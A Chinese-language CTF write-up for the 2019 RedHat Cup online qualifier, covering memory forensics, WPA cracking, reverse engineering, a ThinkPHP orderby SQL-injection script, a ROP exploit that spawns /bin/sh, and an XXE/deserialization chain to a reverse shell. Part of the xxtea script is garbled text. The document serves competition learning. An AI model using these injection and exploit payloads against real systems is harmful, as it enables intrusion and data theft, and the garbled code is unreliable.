第三届红帽杯线上初赛 RedHat 2019 WriteUp

  • A+
所属分类:安全博客

前言

第三届红帽杯网络安全攻防大赛 线上初赛

比赛入口地址:https://race.ichunqiu.com/2019redhat

这次比赛共 1262 支队伍签到,我们解出 13 道题,排名第 5

今年比上一年比赛规模大很多。

0x00 Misc - Advertising for Marriage

内存取证题。

查看镜像信息。

volatility imageinfo -f Advertising for Marriage.raw

第三届红帽杯线上初赛 RedHat 2019 WriteUp

建议使用 WinXPSP2x86 预设。

查看进程。

volatility pslist -f Advertising for Marriage.raw

第三届红帽杯线上初赛 RedHat 2019 WriteUp

存在记事本的进程:notepad.exe

查看记事本。

volatility notepad -f Advertising for Marriage.raw

第三届红帽杯线上初赛 RedHat 2019 WriteUp

看到提示:hint:????needmoneyandgirlfirend

扫描所有文件。

volatility filescan -f Advertising for Marriage.raw

第三届红帽杯线上初赛 RedHat 2019 WriteUp

找到一张 png 图片:vegetable.png

导出图片。

volatility dumpfiles -f Advertising for Marriage.raw -Q 0x000000000249ae78 -D ./

打开图片。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

图片无法显示,报错:IHDR: CRC ERROR

估计图片尺寸被修改了。

用脚本计算图片实际长度和宽度,并且生成修复后的图片。

import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
    for h in range(1024):
        data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
            print w, h
            print hex(w), hex(h)
            open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
            exit()

Stegsolve 查看图片,找到模糊的 flag,一般情况较难恢复。同时,也发现 lsb 有点东西。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

开头的 0x00000070 像是后面数据的长度,上网查了一下找到相同的例子,是使用 livz/cloacked-pixel 加密的。

这个工具解密需要密钥,密钥为上面记事本找到的提示:????needmoneyandgirlfirend,需要魔改工具爆破前 4 字节。

爆破得到密钥 b1cxneedmoneyandgirlfirend

解密图片隐写信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==

进一步 base64 解码得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

使用 在线维吉尼亚密码解密工具 进行解密,密钥还是前面那个。

解密得到 flagisd7f1417bfafbf62587e0

Flag: flag{d7f1417bfafbf62587e0}

0x01 Misc - 玩具车

题目提供了以下文件。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

大致就是提供了小车的原理图,l298n 的简易电路图,还有一堆音频文件。

使用 audacity 查看音频文件的波形,发现以下规律。

波形相同组一:L293_1_A1 ; L293_1_A2 ; L293_2_A1 ; L293_2_A2
波形相同组二:L293_1_B1 ; L293_1_B2 ; L293_2_B1 ; L293_2_B2
波形相同组三:L293_1_EnA ; L293_1_EnB ; L293_2_EnA ; L293_2_EnB

波形大小只有高/低两种,可能分别代表高电平/低电平,类似逻辑分析仪的数据。

按照以前用过 a4988 的经验,En 是使能端,需要高电平才会给电机输出驱动。 AB 可以控制电机转动方向,进而控制小车直线运动与转向。

大致规律如下。

A(高电平) + B(高电平) = 前进
A(低电平) + B(低电平) = 后退
A(低电平) + B(高电平) = 原地右转
A(高电平) + B(低电平) = 原地左转

接下来就是 wavePIL 相结合,把运动轨迹画出来。

import wave
import numpy as np
from PIL import Image, ImageDraw

wav_A = wave.open("L293_1_A1.wav", 'r')
wav_B = wave.open("L293_1_B1.wav", 'r')
wav_En = wave.open("L293_1_EnA.wav", 'r')

def read_wav(wav):
    num_frame = wav.getnframes()
    num_channel = wav.getnchannels()
    framerate = wav.getframerate()
    str_data = wav.readframes(num_frame)
    wave_data = np.fromstring(str_data, dtype = np.short)
    wave_data.shape = -1, num_channel
    return wave_data, framerate

def convert_level(level):
    if level != 0: return 1
    return 0

def draw(wav_A, wav_B, wav_En):
    wave_data_A, framerate_A = read_wav(wav_A)
    wave_data_B, framerate_B = read_wav(wav_B)
    wave_data_En, framerate_En = read_wav(wav_En)

    width = 4000
    height = 500
    im = Image.new('RGB',(width,height),'white')
    draw = ImageDraw.Draw(im)
    pos = [300, 300]
    direction = 1
    walk = 0

    cnt = 0
    rotate_cnt = 0
    for i in range(len(wave_data_A)):
        cnt += 1
        if cnt % 200 != 0: continue
        level_A = convert_level(wave_data_A[i][0])
        level_B = convert_level(wave_data_B[i][0])
        level_En = convert_level(wave_data_En[i][0])


        if level_En == 1:
            if level_A == 0 and level_B == 0:
                rotate_cnt = 0
                walk = 1
                draw.point((pos[0],pos[1]),'black')
                if direction == 0:
                    pos[0] -= 1
                if direction == 2:
                    pos[0] += 1
                if direction == 1:
                    pos[1] += 1
                if direction == 3:
                    pos[1] -= 1
            if level_A == 1 and level_B == 1:
                rotate_cnt = 0
                walk = 1
                draw.point((pos[0],pos[1]),'black')
                if direction == 0:
                    pos[0] += 1
                if direction == 2:
                    pos[0] -= 1
                if direction == 1:
                    pos[1] -= 1
                if direction == 3:
                    pos[1] += 1
            if level_A == 0 and level_B == 1:
                walk = 0
                rotate_cnt += 1
                if rotate_cnt % 40 == 0:
                    direction += 1
                    direction = direction % 4
            if level_A == 1 and level_B == 0:
                walk = 0
                rotate_cnt += 1
                if rotate_cnt % 40 == 0:
                    direction -= 1
                    if direction < 0: direction = 3

    im.show()

draw(wav_A, wav_B, wav_En)

第三届红帽杯线上初赛 RedHat 2019 WriteUp

Flag: flag{63177867-8a43-47ab-9048-298867128b3a}

0x02 Misc - 恶臭的数据包

WiFi 流量数据 WPA 加密了,随便跑个字典拿到密码 12345678

aircrack-ng cacosmia.cap -w 100000.txt

第三届红帽杯线上初赛 RedHat 2019 WriteUp

直接解密流量数据包。

airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678

第三届红帽杯线上初赛 RedHat 2019 WriteUp

Wireshark 看流量,找到 POST 了三张 png 图片,但是结尾隐写了一个压缩包 flag.zip,里面包含 flag.txt

第三届红帽杯线上初赛 RedHat 2019 WriteUp

导出png 图片文件,分离 flag.zip,需要密码才能解压。

回到 POST 请求,在 Cookie 里找到一个 hint

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

意思是:密码就是上次ping的网站

pingicmptcp 两种方式。如果 ping 域名时,会请求 dns 解析成 ip

这里大胆猜测 ping 的就是域名,所以直接找 dns 记录。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

解压密码为:26rsfb.dnslog.cn

Flag: flag{f14376d0-793e-4e20-9eab-af23f3fdc158}

0x03 Reverse - xx

运行时缺失 vcruntime140_1.dll 文件,网上下载一个就可以了。

使用 IDAFindCrypt 插件找到 TEA_DELTA,结合题目名称 xx,很快找到 xxtea 算法的加密函数 sub_140001AB0

程序大致流程:

输入19字节
取前4字节作为xxtea密钥(因为格式为flag{.*},所以密钥为“flag”)
xxtea加密这19字节,得到24字节密文
做置换
做异或
与内置密文做比较

可以直接写个脚本逆一下。

enc = 'CEBC406B7C3A95C0EF9B202091F70235231802C8E75656FA'.decode('hex')

dec1 = ''
for i in range(len(enc)/3):
    j = len(enc)/3 - i - 1
    res = ''
    for k in enc[j*3:j*3+3]:
        tmp = ord(k)
        for l in range(j):
            tmp ^= ord(enc[l])
        res += chr(tmp)
    dec1 = res + dec1
print dec1.encode('hex')

dec2 = [''] * len(dec1)
for i in range(len(dec1)):
    dec2[i] = dec1[i]

box = [1,3,0,2,5,7,4,6,9,11,8,10,13,15,12,14,17,19,16,18,21,23,20,22]
print len(box)

for i in range(len(box)):
    dec2[i] = dec1[box[i]]
dec3 = ''.join(dec2)
print dec3.encode('hex')

import struct

_DELTA = 0x9E3779B9  

def _long2str(v, w):  
    n = (len(v) - 1) << 2  
    if w:  
        m = v[-1]  
        if (m < n - 3) or (m > n): return ''  
        n = m  
    s = struct.pack('<%iL' % len(v), *v)  
    return s[0:n] if w else s  

def _str2long(s, w):  
    n = len(s)  
    m = (4 - (n & 3) & 3) + n  
    s = s.ljust(m, "")  
    v = list(struct.unpack('<%iL' % (m >> 2), s))  
    if w: v.append(n)  
    return v  

def encrypt(str, key):  
    if str == '': return str  
    v = _str2long(str, True)  
    k = _str2long(key.ljust(16, ""), False)  
    n = len(v) - 1  
    z = v[n]  
    y = v[0]  
    sum = 0  
    q = 6 + 52 // (n + 1)  
    while q > 0:  
        sum = (sum + _DELTA) & 0xffffffff  
        e = sum >> 2 & 3  
        for p in xrange(n):  
            y = v

v

= (v

+ ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k

^ z))) & 0xffffffff z = v

y = v[0] v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff z = v[n] q -= 1 return _long2str(v, False) def decrypt(str, key): if str == '': return str v = _str2long(str, False) k = _str2long(key.ljust(16, ""), False) n = len(v) - 1 z = v[n] y = v[0] q = 6 + 52 // (n + 1) sum = (q * _DELTA) & 0xffffffff while (sum != 0): e = sum >> 2 & 3 for p in xrange(n, 0, -1): z = v

v

= (v

- ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k

^ z))) & 0xffffffff y = v

z = v[n] v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff y = v[0] sum = (sum - _DELTA) & 0xffffffff return _long2str(v, True) key = 'flag' dec4 = decrypt(dec3, key) print len(dec4) print dec4

Flag: flag{CXX_and_++tea}

0x04 Reverse - easyRE

主流程在 fini_array 里,不过前面的流程还是要走的。

第一层:

输入36字节
逐字节与偏移值异或,与栈上预设密文做比较
可以直接逆出来得到
Info:The first four chars are `flag`

继续往下走,第二层:

输入39字节
10轮base64编码
与.rodata的预设密文做比较
也可以直接逆出来得到
https://bbs.pediy.com/thread-254172.htm

继续往下走,第三层,到主流程。在 fini_array 里,函数 sub_400D35

第三届红帽杯线上初赛 RedHat 2019 WriteUp

一个简单异或,密钥为 4 字节。上面提示了明文开头 4 字节为“flag”,所以异或回来可以得到密钥,从而解密出明文。

enc1 = 'Iodl>Qnb(ocyx7fyx2eix7fd`3w}wek9{[email protected]'

dec1 = ''
for i in range(len(enc1)):
    dec1 += chr(ord(enc1[i]) ^ i)
print dec1

from base64 import *

enc2 = "Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xVmpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWxob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZSR1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1dsWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1ExWlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGSnJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSllUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnRlRXRXTVZaSFVsUnNVVlZVTURrPQ=="

dec2 = enc2
for i in range(10):
    dec2 = b64decode(dec2)
print dec2

enc3 = '403520565D182245172F246E623C2754486C246E723C32455B'.decode("hex")
key = ''

for i in range(4):
    key += chr(ord(enc3[i]) ^ ord('flag'[i]))

dec3 = ''
for i in range(len(enc3)):
    dec3 += chr(ord(enc3[i]) ^ ord(key[i % 4]))
print dec3

Flag: flag{Act1ve_Defen5e_Test}

0x05 Reverse - calc

主流程有三处 sleep,先 patch 掉。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

没有符号表,而且一堆优化后的代码,还有又臭又长的析构。

好在使用的函数不算多,大部分函数都重复用了几次。

直接在函数调用处下断,看调用前后形参值的变化情况,大概可以猜出来函数的作用。

最先能看出来的是,我们需要输入 3组数字,然后这 3组数字 去做一系列运算,最后得到 2组数字 需要相等。

这里 3组数字 暂且表示为:abc

(a[1] - a[0]) >> 2 可以看作取长度的操作。

实现了比较 a < c 的功能:

第三届红帽杯线上初赛 RedHat 2019 WriteUp

实现了比较 b < a 的功能:

第三届红帽杯线上初赛 RedHat 2019 WriteUp

然后调试猜出来的函数有这些:

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

总共用到 加、减、乘、次幂、赋值 五种运算函数。

最后,能总结出来以下内容。

b < a < c
(a+b)**3 - 3*a*(b**2) - 3*b*(a**2) == (c+4)**3 - 12*(c**2) - c*48 - 22

化简得到:

b < a < c
a**3 + b**3 - c**3 == 42

z3 算不出来。

然后看到 42,想起前段时间 中科大信息安全大赛 有原题,做过的题差点忘了。

搜素关键词:42 sum of three cubes

第三届红帽杯线上初赛 RedHat 2019 WriteUp

(-80538738812075974)**3 + 80435758145817515**3 + 12602123297335631**3 = 42

所以,能得到结果。

a = 80435758145817515
b = 12602123297335631
c = 80538738812075974

Flag: flag{951e27be2b2f10b7fa22a6dc8f4682bd}

0x06 Reverse - childRE

这题 patch掉 4处调用反调试检测函数的地方,还有主函数里的 Sleep

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

主函数的这个位置,大概调了一下,是对我们的输入做置换的,而且我们只能输入31字节。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

然后网上查了 UnDecorateSymbolName 的作用,学习了一下 Visual C++名字修饰

那么总结一下大概流程。

输入31字节
置换
C++反修饰
经过一个商和余数分离,然后查表字符替换的算法
与预设值进行比较

可以先从预设值,逆向推导回来,得到反修饰的结果。

private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

然后根据反修饰的结果,再编写 C++例程,得到修饰名称。

#include <iostream>
#include "stdafx.h"

class R0Pxx {
    public:
        R0Pxx() {
            unsigned char tmp;
            My_Aut0_PWN(&tmp);
        }

    private:
        char * My_Aut0_PWN(unsigned char *) {
            printf("%sn", __FUNCDNAME__);
            char tmp;
            return &tmp;
        };
};

int main()
{
    new R0Pxx();
    getchar();
    return 0;
}

附上替换和置换的逆算法。

from hashlib import md5

a = '55565653255552225565565555243466334653663544426565555525555222'
b = '([email protected]!08!6_0*[email protected]%%[email protected]=66!!974*3234=&0^3&[email protected]=&0908!6_0*&'
c = '[email protected]#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'

dec = ''
for i in range(0x3E):
    dec += chr(c.index(a[i]) * 0x17 + c.index(b[i]))
print dec

d = 'abcdefghijklmnopqrstuvwxyz01234'
e = 'pqhrsidtujvwkebxylz0mf12n34ogca'
f = []

for i in range(0x1f):
    f.append(d.index(e[i]))

g = '[email protected]@@[email protected]'
h = [''] * 0x1f

for i in range(0x1f):
    h[f[i]] = g[i]
h = ''.join(h)
print md5(h).hexdigest()

Flag: flag{63b148e750fed3a33419168ac58083f5}

0x07 Reverse - Snake

Unity 逆向。

C# 可以使用 ILSpydnSpy 逆向和调试。

常规套路,先逆 Assembly-CSharp.dll

第三届红帽杯线上初赛 RedHat 2019 WriteUp

这里调用到外部DLL Interface.dll,可以在 Plugins 目录下找到。

不过 Interface.dll 应该是用 C++ 写的,所以只能 IDA 了。

看了一下,flag 应该是在 signed __int64 __fastcall GameObject(int a1) 里输出的。

不过这代码又臭又长,不好弄。

但是直接调用这个函数,不考虑外部变量的影响,能够人为控制的只有该函数的参数 a1,而且控制 a1 可以走不同的流程。

fuzz 了一下,结合代码总结了规律。

0<=a1<=99: 运行将近1分钟,然后输出You win! flag is或者Try again,返回7
100<=a1<=199: 尝试了a1的全部可能性,一致输出EDG failed,返回996
a1>=200: 代码里直接返回996,无输出
a1<0: 输出假flag,返回-1

那么,只有 0<=a1<=99a1<0 可能输出 flag

直接爆破一下。

#include "iostream"
#include <Windows.h>
#include <stdio.h>
#include "stdafx.h"
#include "libloaderapi.h"
#include <stdlib.h>


int main(int argc, char* argv[])
{
    const char* funcName = "GameObject";
    HMODULE hDLL = LoadLibrary(L"C:\Users\impakho\Desktop\Snake\Snake_Data\Plugins\Interface.dll");
    if (hDLL != NULL)
    {
        printf("load succn");
        typedef int(*funcptr)(int);
        funcptr func = (funcptr)GetProcAddress(hDLL, funcName);
        if (func != NULL)
        {
            signed int res = func(atoi(argv[1]));
            printf("%dn", res);

            /*
            for (int i = 0; i < 100; i++) {
                signed int res = func(i);
                printf("%d: %dn", i, res);
            }
            */
            printf("have funcn");
        }
        else
        {
            printf("no funcn");
        }
    }
    else
    {
        printf("load failn");
    }


    getchar();
    return 0;
}

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

手动多开窗口、进程,进行爆破。

a=19 的时候,得到 flag

Flag: flag{[email protected]}

0x08 Crypto - Broadcast

估计是出题人忘记删除题目里的 flag 了,导致翻车事故。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

Flag: flag{fa0f8335-ae80-448e-a329-6fb69048aae4}

0x09 Web - easyweb

题目给了一个 XYHCMS

网站开启了列目录。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

比较了一下文件,推测应该是 XYHCMS 3.6,网上没找到可用漏洞。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

然后框架用的是 ThinkPHP 3.2.3,网上倒是能找到好几个漏洞。

比如 缓存漏洞where注入orderby注入 等等。

不过能够结合列目录,直接 getshell缓存漏洞,审了一下代码,应该用不了。

所以应该是找注入点。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

这里就是一个明显的 tp 3.2.3 orderby注入,可以用数组的键名(key)构造SQL语句进行注入。

虽然没有开调试模式(Debug Mode),但还是可以报错注入,可以通过访问 /App/Runtime/Logs/Api/ 下的日志文件,查看报错回显信息。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

第三届红帽杯线上初赛 RedHat 2019 WriteUp

然后就是爆库、爆表、爆字段名。

import requests

url = 'http://7db76480390842bd9cff719ba383c3bf783025e6683844a8.changame.ichunqiu.com'

// brute schema_name
for i in range(3):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(schema_name),"+str(i*25+1)+",25)%20from%20information_schema.SCHEMATA)),1);]")

// brute table_name
for i in range(30):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(table_name),"+str(i*25+1)+",25)%20from%20information_schema.tables where table_schema%3d'xyhcms')),1);]")

// brute column_name
for i in range(5):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(column_name),"+str(i*25+1)+",25)%20from%20information_schema.COLUMNS where table_name%3d'fl4g')),1);]")

// read flag
for i in range(3):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(flaag),"+str(i*25+1)+",25)%20from%20fl4g)),1);]")

print 'To view the errorlog, please visit %s/App/Runtime/Logs/Api/' % url

第三届红帽杯线上初赛 RedHat 2019 WriteUp

Flag: flag{d86731ac-e38f-465a-a691-ea78cc604f57}

0x0A Pwn - three [Ex师傅]

int main_method()
{
  int result; // eax
  int size; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+10h] [ebp-18h]
  int (__cdecl *v3)(signed int); // [esp+14h] [ebp-14h]
  int v4; // [esp+18h] [ebp-10h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  _IO_puts("Give me a index:");
  v2 = sub_8048ADF((char *)dword_80F6C80[0]);
  v3 = (int (__cdecl *)(signed int))__mmap(0, 4096, 7, 0x22, 0, 0);
  _IO_puts("Three is good number,I like it very much!");
  __libc_read(0, v3, 3);
  _IO_puts("Leave you name of size:");
  scanf("%d", &size);
  if ( size < 0 || size > 512 )
    exit(0);
  _IO_puts("Tell me:");
  __libc_read(0, &name_buf, size - 1);
  v4 = v3(1);
  if ( v2 == v4 )
    result = _IO_puts("1");
  else
    result = _IO_puts("2");
  return result;
}

程序流很简单,就是读三个字节执行,然后和 flag 进行判断。

通过调试可以看到直接将 esp 替换成 name_buf 进行 ROP

Breakpoint 1, 0x08048c5b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0xf7ff8000 ◂— xchg   ecx, esp /* 0xc3e187 */
 EBX  0x80f4f74 ◂— 0x0
 ECX  0x80f6cc0 —▸ 0x8072fb1 ◂— pop    edx
 EDX  0x1fe
 EDI  0x80481b8 ◂— push   ebx
 ESI  0x80f4f74 ◂— 0x0
 EBP  0xffffcce8 —▸ 0xffffccf8 ◂— 0x0
 ESP  0xffffccb0 ◂— 0x1
 EIP  0x8048c5b ◂— call   eax
──────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────
 ► 0x8048c5b    call   eax

0x80f6cc0 就是 name_buf

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('47.104.190.38', 12001)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x8048c5b
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

sh.sendlineafter('index:n', str(0))
# pause()
payload = asm('''
xchg ecx, esp
ret
''')
sh.sendafter(' much!n', payload)
sh.sendlineafter('size:n', str(0x1ff))
# pause()
layout = [
    0x08072fb1, #: pop edx; pop ecx; pop ebx; ret; 
    0,
    0,
    0x80f6d40,
    0x080c11e6, #: pop eax; ret; 
    11,
    0x080738c0, #: int 0x80; ret; 
]
sh.sendafter('me:n', flat(layout).ljust(0x80, '') + '/bin/sh')

sh.interactive()
clear()

Flag: flag{1f8e093b45bbb8f4b14478b253}

0x0B Web - Ticket_system [12end师傅]

登陆进去有上传点,上传任意 xml,然后可以手动提交 xml 数据,存在 xxe

第三届红帽杯线上初赛 RedHat 2019 WriteUp

读取源码发现是 5.2.0thinkphpSmi1e 博客有 5.2.x 的反序列化链,payload 搬过来直接可以打到。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

通过 perl 成功反弹 shell

第三届红帽杯线上初赛 RedHat 2019 WriteUp

www-data 权限,根目录存在 /readflag,运行发现是 *CTF 原题。

第三届红帽杯线上初赛 RedHat 2019 WriteUp

在网上找到 php 解题文件,file_put_contents 写到本地运行即可。

<?php
$descriptorspec = array(
    0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
    1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
    2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = trim($question);
    var_dump($question);
    eval('$result = '.$question.';');   // 计算问题结果
    fwrite($pipes[0], $result);         // 回答程序问题
    fclose($pipes[0]);
    var_dump($result);

    // $flag = stream_get_contents($pipes[1]);// getflag
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);

    fclose($pipes[1]);
    var_dump($flag);

    $return_value = proc_close($process);

    echo "command returned $return_valuen";
}
?>

第三届红帽杯线上初赛 RedHat 2019 WriteUp

Flag: flag{3ff32148-e229-41fd-b7b9-d09e76d35daf}

0x0C Misc - 签到 [12end师傅]

https://www.wjx.top/jq/48618223.aspx

直接回答问卷即可拿到 flag

Source: impakho.com | Author:impakho

相关推荐: 蓝帽杯决赛 WRITEUP

前言上周六参加『 蓝帽杯 』全国大学生网络安全技能大赛线上决赛记录,先挖个坑等一手之后官方的 WP 。 0x01 签到题操作内容题目给了一些数字: 1[102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109, 101…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: